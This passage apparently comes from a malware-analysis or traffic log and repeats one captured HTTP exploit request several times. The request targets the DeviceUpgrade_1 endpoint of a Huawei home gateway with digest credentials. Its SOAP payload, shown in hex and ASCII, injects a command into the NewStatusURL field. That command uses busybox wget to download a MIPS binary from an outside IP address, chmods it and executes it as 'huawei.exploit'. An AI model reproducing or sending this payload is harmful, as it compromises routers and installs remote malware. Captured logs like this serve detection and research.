62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
